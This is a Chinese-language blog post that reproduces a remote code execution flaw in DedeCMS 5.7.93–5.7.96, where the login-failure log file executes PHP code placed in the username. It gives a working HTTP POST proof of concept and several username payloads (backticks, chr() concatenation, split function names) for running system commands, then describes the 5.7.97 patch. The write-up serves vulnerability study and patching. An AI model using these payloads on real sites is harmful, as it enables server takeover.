抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Qingwan

在时间的维度上,一切问题都是有解的。

Dedecms框架漏洞复现⑤

漏洞影响范围

dedecms 5.7.93 - 5.7.96

漏洞分析

DedeCMS v5.7.93在/dede/login. php文件中增加了登录失败锁功能,以符合相关的Web安全法规。当用户登录失败时,失败消息将写入文件/data/login.data.php,以记录该用户登录失败的次数。

我们看下login.php的关键代码,在我们登录的时候并没有验证用户名,就直接写入了文件

这里我们看到,如果我们连续登录失败,会将 $arr_loginjson_encode 后写入文件/data/login.data.php中,写入内容有用户名,次数,时间,这里我们就可以通过给用户名赋值恶意代码导致RCE

dedecms 会对进入程序的所有变量进行一次过滤,比如这里的 $userid,过滤的具体代码位于 /include/common.inc.php

这里对变量使用了addslashes() 函数,按理来说我们写入了
';phpinfo();?> 存到文件中之后,会转变成 \';phpinfo();?>,这样我们的'就被转义了,就无法闭合之前的单引号。但是这里的问题出在我们的登录信息存到文件中的时候是经过json_encode的,json_encode 会转义 /\ 等字符。
所以最后变成了
';phpinfo();?> -> \';phpinfo();?> -> \\';phpinfo();?>
这里又将转义字符转义回去了,所以我们的'也会起到转换的作用,进而闭合,进行RCE

漏洞复现


访问登录页面,然后输入用户名';phpinfo();?>' 我在登录第二次的时候,就看到闪过了phpinfo的界面 我们发现在网站目录下确实生成了login.data.php`这个文件

访问一下这个文件

所以POC为

1
2
3
4
5
6
POST /dede/login.php HTTP/1.1
Host: dedecms5793
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e9ag7oevkh77gnko3cdmt7mbc2

dopost=login&userid=%5C%27.phpinfo%28%29%3B%3F%3E&pwd=1234&validate=hw0k

修补方法

5.7.97 中, login.php 中对应的代码变成了下面这样

此处添加了$res==-1这个比较,就要求我们登录的用户名必须是经过注册了的,如果不存在,将会直接退出而不会写入文件中
这里修复之后其实还可以进行绕过,详细可以看这篇文章

思考

  1. 这里由于单引号和双引号的作用,比如我们想执行whoami命令,我们就不能使用system('whoami');这些命令执行的函数了,因为他们写到文件里面之后会变成
    system(\\'whoami\\');,这时候会进行报错,因为我们不能在函数的头尾的单引号上面使用转义。那这样的话,我们有什么办法去使用我们的函数去执行命令呢
    这里就可以使用一些ctf中常见的绕过手法了

回答:
①使用反引号 比如

1
2
3
4
5
echo `whoami`;
';echo `whoami`;?> //输入的用户名

echo `dir`;
';echo `dir`;?>

chr()函数+连接符.

1
2
system(chr(119) . chr(104) . chr(111) . chr(97) . chr(109) . chr(105));
';system(chr(119).chr(104).chr(111).chr(97).chr(109).chr(105));?> //用户名

③括号(绕过

1
2
(sy.(st).em)(whoami);
';(sy.(st).em)(whoami);?> //用户名
  1. 框架中还有没有其他的地方有类似的写法

回答:目前没有发现

评论